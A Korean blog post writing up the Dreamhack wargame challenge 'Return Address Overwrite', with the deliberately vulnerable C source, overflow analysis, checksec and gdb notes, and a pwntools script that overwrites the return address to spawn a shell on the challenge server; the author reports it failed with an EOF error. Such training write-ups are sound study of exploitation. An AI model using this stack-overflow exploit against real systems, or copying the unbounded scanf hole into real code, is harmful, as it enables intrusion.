[드림핵] Return Address Overwrite

SONG's 보안·2024년 3월 26일

드림핵

목록 보기
18/33

1. 코드 분석

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

scanf("%s", buf)가 입력 길이에 제한 없이 입력을 받고 있다.
--> 오버플로우 공격이 가능

0x28 바이트인 버퍼에 입력을 받고 있으므로 0x28 바이트 이상의 데이터를 입력하면 버퍼 오버플로우를 발생시킬 수 있다.

✅ 찾아보니 C++의 취약 함수는 대표적으로 strcpy, strcat, sprintf, scanf 등이 있다고 한다.

쉘을 실행시키는 get_shell() 함수가 있기 때문에, main 함수의 반환 주소를 get_shell() 함수의 주소로 덮으면 쉘을 획득할 수 있다.


2. 문제 풀이

$ ./rao
Input: 12345
$

프로그램이 정상적으로 종료된 것을 확인할 수 있다.

총 64개로 이루어진 문자열을 입력하면

$ ./rao
Input: 1234123412341234123412341234123412341234123412341234123412341234
Segmentation fault (core dumped)

에러가 출력되며, 프로그램이 비정상적으로 종료된다.
(core dumped)라는 메시지와 함께 코어 파일이 생성되었는데, 프로그램이 비정상적으로 종료되었을 때 디버깅을 돕기 위한 것이다.

checksec이란?

실행파일에 걸려 있는 보안 메커니즘을 확인해 주는 셸 스크립트이다.

해석하자면

  • 64bit 바이너리
  • partial relro
  • 카나리 없음
  • nx bit 존재
  • PIE 없음

gdb를 이용해 함수 주소를 조사 해보겠다.

하지만 get_shell은 어디에도 보이지 않았다...
이때부터.. 안풀리는게 시작했을까?..

gdb를 이용해 main 함수를 조사 해보겠다.

bufrbp-0x30에 저장된다는 것을 알 수 있다.

그 다음 shell의 주소를 찾기 위해서 gdb로 찾아준다.

gdb-peda$ print get_shell

위 쉘 주소를 이용해서 익스플로잇 코드를 작성해보았다.

from pwn import *

p = remote("host3.dreamhack.games", 9478)
context.arch = "amd64"

payload = b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()

위 부분에서 설명해야할 부분은 이것이다.

payload = b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00'

이렇게 쓴 이유는 엔디언 적용이 필요하기 때문이다.
페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야한다.
엔디언은 메모리에서 데이터가 정렬되는 방식으로 리틀 엔디언빅 엔디언이 사용됩니다.

  • MSB(Most Significant Byte) : 가장 왼쪽 바이트
  • 리틀 엔디언 : MSB 가 가장 높은 주소에 저장됩니다.
  • 빅 엔디언 : MSB 가 가장 낮은 주소에 저장됩니다.

인텔 x86-64 아키텍쳐는 리틀 엔디언을 사용하기때문에 위 코드가 나오게 된 것이다.

그러나

EOF의 저주에 걸려.. 아무것도 할 수 없었다...
저번에도 EOF에 걸렸는데, python에서 EOF를 해결할 수 있는 방법을 알고싶다.

profile
前) SWLUG 27기

0개의 댓글